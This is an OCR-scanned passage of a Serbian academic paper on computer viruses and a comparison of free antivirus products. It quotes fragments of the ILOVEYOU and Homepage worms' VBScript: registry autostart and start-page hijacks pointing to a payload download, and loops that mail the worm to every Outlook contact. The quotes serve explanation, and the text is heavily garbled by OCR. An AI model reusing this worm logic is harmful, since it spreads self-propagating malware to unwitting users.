elseifnum = 2 then

regereate "HKCU'\Software'\Microsoft\Internet Explorer\Main\Start
Page".,"http://www.skyinet.net/~angelcat/sklad;flfdjghK InwetryDGFikjUlyqwerWe546786324hjk4jnHH
GbvbmKLIKjhkqj4w/WIN-BUGSFIX exe"

elseifnum = 3 then

regereate "HKCU\Software'Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~koichi/jf6 TRjkcbGRpGqaql 98vbF VShiFEkbopBdQZnmPOh{f2ER67b3
Vbvg/WIN-BUGSFIX exe"

elseifnum = 4 then

Dali postoji BugFix.exe

if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then

regereate

"HKEY LOCAL MACHINE\Software\Microsoft\Windows'\CurrentVersion\Run\WIN-
BUGSFIX",downread&"\WIN-BUGSFIX .exe"

regereate "HKEY CURRENT USER\Software\Microsoft\Internet Explorer'\Main\Start
Page","about:blank"

end if
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Ako je Microsoft Outlook instaliran, i ako se u njemu nalaze emajl adrese, on poSalje
samog sebe na sve dane adrese u klijentu.

if (int(a. AddressEntries.Count)=int(regv)) then

for ctrentries=1 to a.AddressEntries.Count

malead=a.AddressEntries(x)

regad=""

regad=regedit. RegRead("HKEY CURRENT USER!\Software\Microsoft\WAB\"&malead)
if (regad="") then

set male=out.Createltem(0)

male.Recipients. Add(malead)

male.Subject="ILOVEYOU"

male.Body = vberlf&"kindly check the attached LOVELETTER coming from me."

male.Attachments. Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
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2.5.3. HOMEPAGE VIRUS

Prvi put je homepage ili VBSWG.X virus priden 9. maja 2001. godine (slika 5). Ovaj
racunarski virus su kreirali ponda Visual Basic Script Wormn Generator programagpama
za pravljenje virusa. Homepage se na Interneta pomau elektronske posSte. Korisnik dobija

postuciji je predmet ,,homepage”, dok je sam tekst perglasio: "You've got to see this page!
It's really cool ;0)" ("Ovu stranu moras da vidiglko je dobra ;0)").

¥ Homepage - Message {Plain Texkt)

J File Edit Miew Insert Formak Tools Actions Help
| BoReply | €% Reply to Al | W Forward | & | z

From: Yasya Senk: wed S/9z001 Z:25 PM

To: Karl

Cct

Subject; Homepage

| —

Hil

You've got to see this pagel It's really cool ;00) =]

D
homepage. ...
(ZKE)

Slika 5. Homepage

Ako je korisnik otvorio dobijeni prilog, virus jegglao samog sebe na sve adrese koje su se u tom
momentu nalazile u Outlook programu. U skesla koraku virus je otvoridetiri Internet adrese

, koje su bile pornografskog sadrzaja.

Ratunarski virus pod nazivom homepage se veoma brim &k brze od virusa pod nazivom

Anna Kournikova. F-secure je 9. maja izdala azojaaa antivirus programe, koji su mogli da
ga prepoznaju.
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Algoritma funkcionisanje nan infekcije virusa prikazan je na slici 6. Bitr&gjnjenica da se

racunarski virus aktivira iskljeivo onda ako korisnik preuzme i otvori zarazeniqyi

Kreira se Windows Shell

b

Upisuje homepage.html.vbs fajl

l

Proverava, da h postoji microft
outlook program

a li posedige emal -
\MTV

¥
h

Salje email na sve adrese

|

Ukoliko prihvata prilog u
elektronskoj posti, otvara porno
stranicu

( STOP
T

Slika 6. Algoritam rada Homepage
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Funkcionisanje virusa moze se prikazati i pomkomandi. Opet ponavljamo da se virus aktivira

iskljucivo ako se on preuzme i pokrene od strane korisnika

Upisuje homepage.html.vbs fajl

Set OutF=FSO.OpenTextFile(Folder&™homepage. HTML.vbs",2 true)
OutF .write ScriptBuffer

OuftF .close

Set FSO=Nothing

Ako je Microsoft Outlook instaliran, i ako se u njemu nalaze emajl adrese, on poSalje

samog sebe na sve dane adrese u klijentu.

If ListIndex.AddressEntries.Count <~> 0 Then
ContactCount = ListIndex.AddressEntries.Count
For Count=1 To ContactCount

Set Mail = Outlook.Createltem(0)

Set Contact = ListIndex.AddressEntries(Count)

Mail.To = Contact. Address

Mail.Subject= "Homepage"

Mail.Body = vberlf&"Hi!"&vberlf&vberlf&" You've got to see this page!

It's really cool ;0)"&vberlf&vberlf

Set Attachment=Mail Attachments
Attachment.Add Folder & "homepage HTML.vbs"
Mail DeleteAfterSubmit= True

If Mail.To <= "" Then

Mail.Send

WS.regwrite "HKCU'\software\An'\mailed","1"
EndIf

Ukoliko prihvata prilog u elektronskoj posti, otvara porno stranicu

Randomize

r=Int((4*Rnd)+1)

If =1 then

WS .Run("http://hardcore.pornbillboard.net/shannon/1.htm")
elseif =2 Then
WS.Run("http://members.nbei.com/_XMCM/prinzje/1.htm")
elseif =3 Then

WS Run("http:/www2 sexcropolis.com/amateur/sheila/1 .htm")
Elself =4 Then

WS Run("http://sheila.issexy.tv/1.htm")

End If
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2.6. ANALIZA REZULTATA

Na osnovu prethodno navederiinjenica mozemo ustanoviti, da virusi nikadaeenfekcijiti
sami od sebe neki danar, i daljec¢e korisnik morati prvo da preuzme zarazeni priladpiga

pokrene da bi se virus izvrsio.

Pored navedenih, da bi virus vrSi svoju funkcijurenda ima optimalne uslove. Koji su to uslovi?
Naprimer virusi koji su napisani za Linux, nisu wgacnosti da ozive u Microsoft operativhom
sistemu. Ukoliko korisnik poseduje Windows openaitisistem i preuzme virus koji je napisan za
Linux, za tog korisnik&e virus biti bezopasan, jer nema optimalne oslov@jima taj virus
moze da parazitira. Pored toga, nije svejedno lssd@rvi put pojavio neki virus, jer se sve
veoma brzo modernizuje i menja unutar operativnistema i softvera. Dakle, virus nema
moguenosti da dde do izraZzaja ako je napisan za Windows NT a kikrigaseduje Windows 7,
jer na ovom operativhom sistemu sve funkcioniSegdiije, i ne moze da prepiSe dokumente,
naravno nije u mogunosti da ostvari ikakvu Stetu, sve prethodno naveds odnosi i na Office

pakete.

Smatramo, da korisnici moraju posedovati opsSte jenanislimo tu na izraze koje se koriste za
odretene formate. Na osnovu tog znanja, korisnici lakngmmda u®e koji prilozi u svom
sadrzaju poseduju ¢anarski virus. U tabeli smo naveli izraze i njegdoemate koje koristimo u

svakodnevnom zivotu:

Tabela 1. Izrazne i njegove formate 1

BMP Slika .MID Zvuk

.DOC Teks .MPZ Zvuk

.DOT Teks JPC Slika

.GIF Slika .PDF Elektronski papi
JPEC Slika .PP1 Prezentacij
JPC Slika TIXT Teks

WMA Zvuk WMV Videc

WMF Slika WAV Zvuk
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Ako elektronska posSta sadrzi prilog sa gore navederrazima, mozemo slobodno da ih
preduzmemo. Mautim, postoje produzeci koje podrazumevajutearoces biti pokrenut. U dole
navedenoj tabeli sam navela nekoliko primera:

Tabela 2. Mali programi

BAT EXE

.VBS .COM

Pored svega , moramo obratiti paznju na .RAR iP.griloge, jer su oni upakovani dokumenti, i
naravno ne mozemo ni da slutimo Sta oni mogu dguimavom sadrzaju. U ovom shju, ove

priloge sa sigurn@sl mozemo otvoriti ukoliko &ekujemo da&emo isto dobiti od nekoga.
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3. RACUNAR | ANTIVIRUSNI PROGRAMI

Do sad, svako je ¥epreziveo napad virusa. Kada se to desi, niko nexze Staciniti. Prvi
kompjuterski virus je nastao sa prvim kompjuterdviedutim, glavni problem je predstavljalo
masovno Sirenje virusa od stranénih kompjutera. Virusi su zapravo takvi progranjiksu
sposobni da se reprodukuju i da se Sire sa jedaodyungi r&unar. Njihovom Sirenju né&gse
doprinosi radoznalost i neznanje korisnika.

Postoji vise mogénosti u kontrolisanju Stete koju virus donosi: wintis programi,firewall®.
Medu ovima, najsigurniji su antivirus programi. Alip kojoj osnovi korisnici da biraju softver
koji ¢e instalirati? U véni slucajeva, korisnici traze misljenje prijatelja, jeriiiteresuje kojim
programima oni Stite kompjuter. U ovoj &aju, problem je u tome 5to bezbednosni sistem mora
da vrsi izbor sa viSe aspekata, da bi savrSeno onfwakcionisati na kompjuteru. Takaie
trebalo bi IEno podesiti zasStitu kompjutera. Fajervol moze &fir@nos virusa u r&unar ako
blokira IP adresu zaraZzene web stranice. Da bi saBl najsavrSeniju zastitu od virusa, moramo
prvo odgovoriti na sleda pitanja:

Za Sta nam sluzi r&unar?

Osnovni cilj pitanja je da se utvrdi Sira upotrefa@unara za: posao ili Ku. Kod poslovnih
ratunara je bitno da je instaliran softver legalameporiljivo je da se koristi ozbiljniji antivirus
program, jer se na poslovnimétaarima nalaze podaci nezamenljive vrednosti. Naragvo ne
zn&li da ni kiéni ratunari ne sadrze vazne podatke. Za nas nije bittemZivna zastita, ali u
vedini slucajeva, za zastitu personalninéwaara, mozemo dobiti besplatnu verziju antivirus

programa.

Koje su karakteristike ra¢unara?

Za korisnika je vazno da moze koristiti kompjuteszbrizno, pod uslovom da ne bude spor.
Mnogo programa usporava ractwaara, ali, kad bi program za muziku uzrokovaorigp@ad
racunara, korisnici bi se bolje snasli sa tim, neggelaezbednosni sistem uzrokovao spor rad

racunara. Mogudi uzrok tome moze biti taj, Sto bezbednosni sistexprestalno radi, proverava

3 Zastitni zid (engl. Firewall, u prevodu vatreni zid, vatrobran)Hardverili softverkoji u sklopuracunarske mreze
ima moguénost da spré nepropisni ili nezeljeni prenos podataka prek@zerkoji je zabranjen od strane sigurnosne
politike postavljene na mreZi.
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funkcionalnost r&unara, i zbog toga je danarcesto spor. Da bi se izbegao kvar, potrebno je, pre
ili kasnije pregledati izbor softvera, da bi sersglo Sta sistem zahteva.

Kupljeni ili besplatni antivirusni softver?

Danas se u najviSe shjeva softveri nabavljaju besplatno, ili se gal@ verzije. U véini
sliéajeva, na sajtovima bezbednosnih softvera dobijamhmrmacije o tome kakve su nam

povlastice ako kupimo softver. Slika 7 pokazupdika izmeiu Avast programa zastite.

‘o avast! FREE ANTIVIRUS Nije jo3 registrovan (30 dana preostalo)

a BEZBEDNOST ~ ODRZAVANJE | MARKET PODELI PODRSKA

#" Register
&
B Or consider upgrading to cur premium products! [panan
E8Sg
Your current Upgrade to Upgrade to
Free protection Pro antivirus Internet Security
‘r Blocks viruses & spyware v
wf Provides safe online shopping

Provides safe online banking

Secures your identity

|
|
i
|_
D Secures personal data [
|
[
|

Stops bothersome SPAM

Prevents hacker attacks

g

Secures your IP address

Upgrade & Save Upgrade & Save

19.99 € 3559« 29,99 € 6559+«

Slika 7. Razlika izmedu Avast antivirus programa

Cene su takite promenljive. Antivirus programi se kKreod 10 do preko 100 evra. Mnogi ljudi
misle- 5to skuplje, to bolje. Ali, moZe s&irda nijedan antivirus program ne mozZe da obezbedi
stopostotnu zastitu. Virus se uvek prvo pojavispéak i u ovom modernom svetu majekati

2-3 dana na takozvani ,protivotrov*.

U mnogim sldajevima se pojavljivalo pitanje, da li je to uop&plativo? Na ovo pitanje nikada
nete biti odgovora, alice za kine kompjutere, u svakom shju, biti pogodna i besplatna

verzija.
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Pre svega, moramo se upoznati sa programom da dgfi odiuciti da li je on pogodan za na$
kompjuter. Ovaj deo rada govori 0 prezentaciji otdgajwteg antivirus programa. Prezentacija se
vrSi u visSe koraka. Prvéemo se upoznati sa kratkom istorijom virusa i ushavsistema. Pored
ovoga, veoma je vazno da dobijemo uvid u sistermnakéeve rada softvera: kako treba instalirati,

kakav interfejs pruza, tj. koje module zaStite dizdnje.

3.1. ANTIVIRUSNI PROGRAMI

S razvojem personalnih qanara, paralelno su se Sirile antivirus kompankeekretnica u
evoluciji virusa je pojavljivanje Interneta i sve‘a njegova upotreba. Ranije, kompjuteri su
sluzili kao spoljasnji mediji za skladiStenje paakd. Npr., CD je predstavljao opasnost, jer je
mogao da prenese virus. §eim, pojavom globalne mreze, kompjuteri su dovedejoS veu
opasnost. Kod umrezenihétmara, virusi su lakSe mogli da se Sire.

Antivirus je takva arhitektura ¢anara, koja ima zadatak da obezbedi sigurné@sinaxu, tako da
se podaci koji se nalaze nawaaru ne mogu biti osteni od strane virusa. Postoje dve radne

verzije antivirusni programa: reaktivna zastitauhstcka zastita.

Reaktivna zastita
Osnova reaktivne zastite je baza koja identifikujase. Ova baza podataka je kreirana od strane

proizvadaca antivirus softvera za ispravke Stete koje virasase. Ovo sistem generalno odmah
preuzimacim se pojavi. Potrebni su dani da bi se osvezZileah#odataka, u staju da se pojavi

novi virus.

Heuristi ¢ka/proaktivna zastita
Sa ovim modom, antivirus programdawa viruse sopstvenom inteligencijom. Heutlsdi zaStita

stupa na snagu kada se baza podataka ne nalazemomo kretanju. Funkcionalnost kontinuirano
prati rad rédunara, i ako se promeni ponaSanje nekog progrdinvalicina neke datoteke, ili ako
se neki vazni programi konektuju na Internet, oakn program nije naveden na korisnika. Ova
metoda je efikasna, jer udiai slu¢ajeva, mnogo vremena pi® kad se virus pojavi i posle toga
azurira sistem, Sto dovodi do toga da se mnaginari infekcije. Cilj heuristke zastite je da

dobije na vremenu i zastiti kompjuter (slika 8).
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“INTENZITET

IZDAVANIJE BAZE PODATAKA VREME

o

Slika 8. infekcija kompjuterskog virusa

Sa slike 8 se moze videti kako se odvija infek@@nog virusa. Plavi deo pokazuje vreme dok
antivirus programi ne reaguju na infekciju. U ovelataju, na snagu stupa heurd&t odbrana.
Beli deo ozn&ava azuriranje pojave. Naravno, virusne infekaijeaktivne i onda kada korisnik
koristi ratunar bez bezbednosnog sistema, ili ako ne kongtnaattko aZuriranje. Heuristka
zaStita nije na dobrom glasu, jer je u vis&ajeva davala lazne uzbune. U mnogimtajevima

se deSava da se odeai fajl obriSe ili da dde do oStéenja prilikom uspostavljanja Internet
komunikacije. Prema testiranfu prilikom kori&enja heuristkog bezbednosnog sistema,
dokazano je da je 70% bolja funkcionalnost sistecharugih programa. To z¥iada ako se u
toku dana pojavi 30 000 novih virusa za koje seau aZzuriranje, uz pont¢dcheuristtke zastite,
mozemo spasiti tanar od 21 000 virusa, ali ipak ostaje 9 000. Dakleze se zakliti da ne

mozemo dobiti stopostotnu zastitu.

Slika 9. AV Comparatives 2013 martovsko istraZivanje

*http://virusorszag.blog.hu/2010/02/01/mi_az_a_proaktiv_vedelem_a_virusirto_tesztekben
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Av Comparative32013 martovsko istraZivanje moze se videti slicD®de je nazni#no kakva

je funkcionalnost heuristke zaStite. Ténije, prikazano je u koliko séajeva se daju lazne
uzbune. Na osnovu ankete, Mikrosoftov bezbedndstera omogtiava najsavrseniju zastitu, i
ni u jednom sldaju nije dao laznu uzbunu. Najgori je softver komaEmsisoft. Za nas su
najvazniji sledéi softveri: Avast, AVG, Avira, BitDifender, Eset,-$ecure, G-data, Kaspersky,
McAfee, Panda, Sysmantec, Trend Micro. ddeovima, najsigurniju zastitu obezhge

Kaspersky ili Avira antivirusni sistem. Oni su sajbolje pokazali na ispitivanju. Rezultati
programa Symantec su bili pomalo iznéumaci, jer je pre godinu-dve antivirus softver Norton

0sVvojio titulu antivirus programa godine.

3.2. PREZENTACIJA ANTIVIRUS PROGRAMA

Glavni zadatak rada je da objasni upotrebu anBvprograma. Prezentacge se pristupiti na
viSe n&ina. Prvenstvenéemo se upoznati sa programom. Upoznavanje sa pnognase sastoji

od viSe koraka:

U prvom planu je prezentacija kratke istorije amtis programa. Mnogi ljudi smatraju

vaznim koliko je star jedan antivirus program.

* Besplatni softveri imaju prednost, jer su lako dpsi korisnicima. Zato Sto su besplatni,
viSe se koriste. Naravno, sa ovim softverima seegiokoja je razlika izméu jeftine
verzije softvera i one koja se p& zasSto viSe vredi verzija koja se qaa i zaSto je
isplativa.

» Instalacija programa je vazan korak za korisnileghrza i najjednostavnija moga. Tako
se svaki program predstavlja, onako kako sedulpeau primeni softvera. Ili, ako korisnik
Zeli slobodnije da instalira, pristupi podeSavamjimu zavisnosti koliko je program
prilagodljiv.

* Mnogo puta smo peitali da je neki program zato dobar, jer sadrzieekcije, za koje

vecina ne zna za Sta sluze. Zato Sto je najbolje rangipreuzmemo ga sa Interneta i

5http://www.av—compa ratives.org/false-alarm-tests/
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koristimo ga. Vazno je da se upoznamo sa opcijaasdtte koje nudi softver, a oe biti

predstavljene kratkim opisom.

Slede&i softveri koji ée biti predstavljeni su:

Avira Free Antivirus G-Data Antivirus
Avast Free Antivirus F-Secure Antivirus
AVG Free Antivirus Panda Cloud Free

3.2.1. AVIRA FREE ANTIVIRUS
Kratka istorija Avire
Avira je neméka kompanija antivirus softvera. Programi su naoganAntiVir engine-a, koji je
takode poznat kao Luke Filewalker. Prvi put se pojavi#dd., pod imenom "H+BEDV
Datentechnik GmbH". Krajem 2008. godineww.AV-Comparatives.orgie izabrao Avira

antivirus program za najefikasnijeg softvera, naoes najviSeg nivoa otkrivanja virusa.

Raspolozivosti i sistemski zahtevi avira free antivusa

Avira Free Antivirus se lako moze ¢iai dostupan je na sleéem sajtu:

http://www.avira.com/en/avira-free-antivirus

AviraAntivir 2013 se moze kupiti u WinWfrkompjuterskoj kompaniji, cena je 1890,00dinara.
Vazno je da korisnik pre nego Sto instalira softver&unaru pogleda koji su minimalni zahtevi
koje program trazi. Ovo je vazno zbog toga Sto mwwgmoze da radi bez greSke, ako je u
odgovarajdoj okolini. Ta rad Avira antivirus programa, potreélsu sledé uslovi’:

Operativni sistem: Windows 7 (32,64bit), Xp sp3HBR Xp sp2 (64bit)

Memorija: Windows 7 — min 1024mb
XP — min 512mb

HDD: Min. 150mb slobodnog mesta

CPU Min. 1Ghz

6http://www.winwin.rs/cataIogsearch/result/?q=AVIRA
7http://www.avira.com/en/avira—free—a ntivirus#tab3
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Instalacija

Instalacija Avira antivirus programa ¢oje odabirom jezika. Nakon odabira jezika, progrsen
sam preuzima, i trazi nadanaru takve softvere koji nisu kompatibilni sa Avjpgrogramom. Na
raspolaganju stoje dve vrste instalacije:

TIPICNA INSTALACIJA: u ovoj formi, korisnik instalira mporwena podeSavanja. Ako
korisnil zeli licno da podesi antivirus softver, onda to moze uragit pom@& korisnicke

instalacije.

Interfejs; Interfejs  Avira
R.AVIRA Avira Free Antivirus

antivirus programa je razuman,
zbogcega je lak za upravljanje.
Ako pazljivo pogledamo (slika
10), podeljen je na dva dela.
Levi deo predstavija liniju

glavhog menija. Sa desne

strane se nalaze pod-meniji.

Slika 10. Avira Free Antivirus

e Pretraga: u ovom meniju je mogie runo podesiti proveru tanara. Postoje prethodno
definisani moduli, méu kojima mozemo odabrati:

* Brzo testiranje: ovaj modul pregledava na kompjuteru obim sistetakalnu memoriju

* Provera celog sistemaproverava sve podatke nawaaru. Ovaj modul ima manu, jer
moze da bude dugotrajan i da usporava régnara.

* Promenljivi mediji : u danasSnje vreme su jako zastupljeni tzv. USBiowinajv&em
slicaju se kompjuteri na ovaj &ia infekcije. Avast free poseban naglasak daje na
preradu medija.

* Individualna provera: ovaj modul omogéava korisniku da pojedidao definiSe koje

datoteke zeli da skenira.
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Zastitni moduli Avira programa
Avira Free Antivirus program ima tri bezbednosnaloia:

* Realtime protectionzastita u realnom vremenu, koja neprekidno rag@iomadini. Ako
korisnik uradi neke promene natumaru, kao Sto je kreiranje novog dokumenta, Avira
odmah skenira datoteku koja je kreirana.

* Web protection: prilikom kori¥enja Interneta, prati stranice koje je korisnik gias
Blokira onu stranicu u kojoj prepozna potencijabpasnost. Korisnici bas ne vole ovaj
program, jer pre otvaranja stranice vrsi proveeutime usporava kompjuter.

» Social networks protection obaveStava roditelje o tome, koje sajtove pogenjihova
deca.

3.2.2. AVAST FREE ANTIVIRUS
Kratka istorija avasta
Avast! Antivirus je antivirus program koji je ragn od straneALWIL Software iz Praga. Prvi
put se pojavio 1988. Avast! je bio jedan od prvibgrama koji je radio na Windows x64. Avast!
4 Home je Siroko rasprostranjen, kompletan i beéaplgrogram, koji radi pod Microsoft
Windows i Linux operativnim sistemom. U oktobru 300free Home Edition imao je viSe od
37000 skidanja na stranici Dowload.com. U decen#8@8., Avast! Home verzija je imala 70
miliona registrovanih korisnika.

Raspolozivosti i sistemski zahtevi avasta

Avastse lako moze di i dostupan je na sledem sajtu:

http://www.avast.com/en-eu/index

Avast Pro Antivirus 8 se moZe kupiti u WinWinkompjuterskoj kompaniji, cena je
5084,00dinara. Ta rad Avast antivirus programa;goti su sled@ uslovi®:
Operativni sistem: Windows 7 (32,64bit), Xp (32I6dbit)

Memorija: Min. 256MB
HDD: Min. 210mb slobodnog mesta
CPU Min. Intel Pentium 3

8http://www.winwin.rs/avast—pro—antivirus—8-1—korisnika—1—god.html
*http://www.ehow.com/list_5920834_avast-system-requirements.html
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Instalacija

Pre svake instalacije programa, treba da provedadi se na kompjuteru nalazi neka druga
zastita od virusa. Ako je tako, onda ga treba alirggre instalacije, jer bi dva softvera ometala
rad jedan drugom.

Kroz celu instalaciju Avast antivirus programa rasdi carobnjak. Instalacija se vrSi u dva dela:
Standardni u principu, ovaj instalacioni modul je prepdljiv, jer su ovde programi dali sve
potrebne postavke, koje su neophodne da &una bio bezbedan. Prvi korak standardne
instalacije je da prihvatimo ugovor o licenci. Nakimstalacije, program pokazuje da program
mozemo koristiti bez registracije 30 dana.

Samostalna instalacijainstalacija ovog oblika se prepéwye korisnicima koji u vé iskusni u
kori&enju r&unara. Glavni cilj ove instalacije je da korisnikobe prilagoditi softver &noj
upotrebi.

» Prvi korak instalacije je da korisnik @ odredi na kojoj lokaciji Zeli da instalira
program.

* Vazno je da se odrede koje se opcije zele instialida slici se mogu videti prethodno
definisane opcije. Minimalne ili standardne. Svakimodulom je ozn&no koji delovi
programace se instalirati. Odnosno, korisnik ima moégast da sam podesi instalaciju.
Ovde se mogu podesiti sigurnosnéktaili jezik na kojem zeli da se koristi softver.

Interfejs: Interfejs Avast Antivirus Free
programa je podrSka korisniku. To Znhala je —%

Je{ovaatt FREE ANTIVIRUS Mes nem el 2 nas van még hirs
pregledan i lak za upotrebu. d@bna straniCa Se [ s wswmi wes wsosis oonis r e

o lels

Slika 11. Avast Free Antivirus

sastoji od 6 glavnih menija: pretraga, azurirar
programa,cistat brovsera, zastitni zid, Securt
VPN, Market (slika 11).

* Pretraga: u ovom meniju mogie je

ruéno pokrenuti skeniranje ¢anara.
Postoje unapred definisani moduli, o

kojih se moze odabrati:

» Brzo testiranje- ovaj modul pregledava na kompjuteru obim sistefo&alnu memoriju
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Provera celog sistemaproverava sve podatke nawaaru. Ovaj modul ima manu, jer
moze da bude dugotrajan i da usporava régnara.

Promenljivi mediji: u danasnje vreme su jako zastupljeni tzv. USBtavinajv&em
slwéaju se kompjuteri na ovaj #ia infekcije. Avast free poseban naglasak daje na
preradu medija.

Testiranje foldera: ovaj modul pojedineno omogdava korisniku da definiSe koje
fascikle zeli da skenira.

Testiranje punjenja sistema:jedna pozitivha i korisna stranaka Avast Antivirus Free
programa je ovaj modul. Ovu proveru rasgioje korisnik i nakon Sto restartuje
kompjuter, pre nego Sto se ukiiwsistem, uklj@i se avast, koji se aktivira u boot-u i u
potpunosti pregledava hdd i podatke koji se na njemlaze. Pouzdan je, jer pronalazi

one viruse koji blokiraju rad antivirus programati®si puno vremena, ali je koristan.

AZuriranje programa: prati sve softvere na ¢anaru i obaveStava ukoliko se pojavila

najnovija verzija.

Cista¢ brovsera vrsi uslugu odrZavanja pretrazézana raunaru.

Moduli zastite
Avast Antivirus Free omogdiava korisnicima da personalizuju svoje antiviruogoame.

Bezbednosni programi se mogu regulisati u bilo koggne nakon instaliranja programa. Skede

moduli zaStite se mogu éiau Avast programu:

Zastita sistema datotekaima zadatak déuva datoteke i programe na&uaaru.

Zastita posSte: pregledava poStu nacdunaru. Skenira sve e-mailove pre nego Sto ih
racunar dobije.

Web zastita: proverava punu aktivnost web pretraZaa obaveStava nas kada se otkrije
pretnja mrezi.

P2PY zastita: prati preuzimanje preko P2P aplikacije.

Im zastita: prati preuzimanja koja dolaze preko programa ramnporuka.

19p2Pje model komunikacije putem interneta, pandamkigerver modelu, nég&ie se koristi za deljenje fajlova.
P2P je skréenica od éngl.peer to peérsto bi se moglo prevesti kaoSnjakvrsnjaku.
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e ZaStita mreze: prati sve mrezne aktivnosti i blokira pristup nepatim Stetnim
sajtovima.

e ZaStita skripte: proverava sve skripte u sistemu.

» Zastita preformansi: kontinuirano prati rad tanara i odmah obaveStava o sumnjivom

ili neobicnom ponasanju.

3.2.3. AVG FREE ANTIVIRUS
Kratka istorija AVG-a

KompanijaAVG Technologiesje osnovana 1991. godine, pod imenom Grisoftldnpe cilj da

osigura pouzdanu, aktivnhu zastitu, koju pruza amtsvaplikacija. Grisoft programe koriste na
viSe od 25 miliona runara.

Raspolozivosti i sistemski zahtevi AVG-a

AVGse lako moze &, i dostupan je na sledem sajtu:
http://www.avg.com/eu-en/free-antivirus-download
Operativni sistem: Windows 7 (32,64bit), Xp (32I6dbit)

Memorija: Min. 512MB

HDD: Min. 1000mb slobodnog mesta
CPU Min. Intel Pentium 3
Instalacija

Brza instalacija: za naj¢ebroj korisnika, preportljiva je brza instalacija. Ovaj tip instalacije
vrsSi u potpunosti AVG antivirus program, prematpoeino zadatim podeSavanjima.

Prilagaiena instalacija: ovaj tip instalacije se pregoja samo za napredne korisnike, koji zele
da u svakom skliaju instaliraju prilagdene postavke AVG Antivirus Free programa. Tokom
prilagaiene instalacije, korisnik moze da promeni lokacha instalaciju programa. Ovo
kontroliSe koji moduli odbranée se instalirati.
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Interfejs: Prozor Avg free antivirusa jef®

AVG Anti-Virus FREE 2013 oh Like AVG  Reports Support  Dptions +

podelien na nekoliko delova. Kao Sto

() You are protected

moze videti na slici, u gornjem delu prozorgsim| * - @ Q

A A A ) Computer Web Browsing Identity E-mails Firewall
postoje 4 reference, ,koja priznaje AV(EEE ot ' s
softver”, obavestenja, podrsku, poinslika [ERrm— it
12). Glavna stranica ima zelene kockice, kg
pokazuju bezbednosno stanje programa.
poslednjem redu se moguénaaretenja KOJa | iy o o s et st

su testiranja, ili azuriranje softvera. ===

Slika 12. AVG Free Antivirus
- Pretraga: na glavnoj strani se moze aokretanje testiranja, gde korisnik moze pokrenut

osnovne, unapred definisane komande. Odabirom Hambaog modula, dobija se pristup na
druge tipove testiranja:

- planirano skeniranje: korisnik sam podeSava u koje vreme, kojim danima,kojem delu
racunarace se vrsiti skeniranje.

- Potpuno skeniranje ratunara: detaljno proverava svaki podatak néuaaru.

- skeniranje fajlova: korisnik odabira koji deo tainara Zeli da skenira.

Moduli zastite
- Web zastitapruza stalnu zastitu. KontroliSe pésae stranice, pre nego Sto ih korisnik otvori ili

pre nego Sto preuzme sadrzaj na kompjuter.
- E-mail zasStia: AVG program podrzava e-mail softver koji jedegfe koriSten. Program skenira
dolaznu i odlaznu postu. Korisnik ima ma@gost da prilagodi program, tako da ispita samo onu

posStu sa prilozenim datotekama ili da proveri salmlaznu postu.

3.2.4. F-SECURE ANTIVIRUS
Kratka istorija F-SECURE antivirus-a
Medunarodna firma F-Secure, sa sediStem u Finsk@deg od veteranskih kompanija, jer radi
ve¢ 25 godina u borbi protiv hakera i virusa. F-Secsgeu prvom planu ne bavi proizvodnjom
antivirus programa, ali su sa nekoliko inovacijguieeli zastiti réunara. F-Secure se prvi put
pojavio 1988. godine, ali pod imenom Data Fello2@12., AV-Comparatives ga je proglasio

titulom najboljeg antivirus programa.
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Raspolozivosti | Sistemski Zahtevi F-SECURE-a

Nema besplatne verzije za F-Secure antivirus pmgead korisnicima daje mogunost korigenja

trial verzije na 30 dana. MoZe se preuzeti sa tranise:

http://www.f-secure.com/en/web/home global/home

Napomena: 30-dneva verzija ima jedan veliki nedostatak, getda se prilikom ukljgenja, na
svakom raunaru pojavljuje broj dana koji korisnik moze dakjaristi, a i daje ista obaveStenja

korisniku dok je r&unar u upotrebi.

Da bi r&unar nesmetano funkcionisao, potrebno je proveigtemske zahteve. Minimalni

zahtevi F-Secure antivirus programa su slede

Operativni sistem: ~ Windows 8, 8PRO, Windows7, Wiwdod/ista ,Xp

Memorija: Min. 512MB

HDD: Min. 600mb slobodnog mesta
CPU Min. Intel Pentium 4
Instalacija

F-Secure ne podrzava besplatnu verziju, ali dajesikigu instalacioni kljd, koji se moze na na
web stranici u sktaju kori€enja probne verzije. Pre nego Sto instalacijgnpo program skenira
da li se na r&unaru nalaze softveri koji ometaju korisnika daradm 30-dnevnu probnu verziju.
Tokom instalacije, softver zahteva rad F-SecuréNa. postoji mogénost prilagdavanja

programa tokom instalacije.
Interfejs

F-Secure softver ima jednostavan interfejs. Imae@ifa na glavnoj stranici. Uz porfigtatusnog
menija, korisnici mogu da vide koji moduli zaStga ukljuteni. Uz pomé ureiajnog menija,
moze se pokrenuti skeniranje virusa, azuriranjsklju¢enje antivirus programa. Statidti meni

obavesStava korisnika o do sad skeniranom ili detelttom zarazenom dokumentu (slika 13).
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Slika13. F-Secure Antivirus

Tipovi testiranja:

- Skeniranje Celog R&unara: skenira sve podatke nactenaru. Mana ovog modula je Sto je

dugotrajan i usporava radctanara

- Ruéno Skeniranje: korisnik odluje koji deo r&unara zeli da skenira ili moze da izabere koje

tipove fajlova Zeli da skenira.

- Plansko Skeniranje ovo skeniranje planira za data podeSavanja takdadisnik moze da
odredi kada i kolik@esto zeli da skeniradanar.

- Skeniranje Skrivenih PrograMA: ovi programi nose engleski naziv rootkit. Oni slzzeto da
da pomognu hakerima u provaljivanju u programe.eEu®e ovakvom skeniranju trazi takav

program, koji, takoré, drzi otvorena vrata hakerima

Moduli Zastite

Deep Guard ovo je takozvana heurigka zasStita. F-Secure na zvamm sajtu reklamira
softvere tako da korisnici mogu zastititi svoj kgotpr od bilo kakvog virusa. Protivotrov novih
virusa deluje svega 60 sekundi, koji kasnije doapev,oblak”. Oblakom se naziva baza
podataka, koja se puni novootkrivenim virusima. Baza podataka odmah Salje azuriranje

ostalim F-Secure programima.
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3.2.5. G-DATA ANTIVIRUS
Kratka Istorija G-DATE
Ono Sto smo mogli zkajno saznati 0 kompaniji jeste da je ugledna fimaatrziStu nemégog
govornog podrgja. Istorija kompanije se zasniva 1988., kada jéFlgae, jedan od osniva G-
Date je prikazao prvi na svetu koncept antiviruSae godine kasnije, sa partnerom Frank
Kihnom, su za Antisztar napravili prvi antivirusteim. Kompanija je kasnije stvorila antiviruse
pod programima MS-DOS i Windows. G Data je devetlegmdina unapren i postao je lider

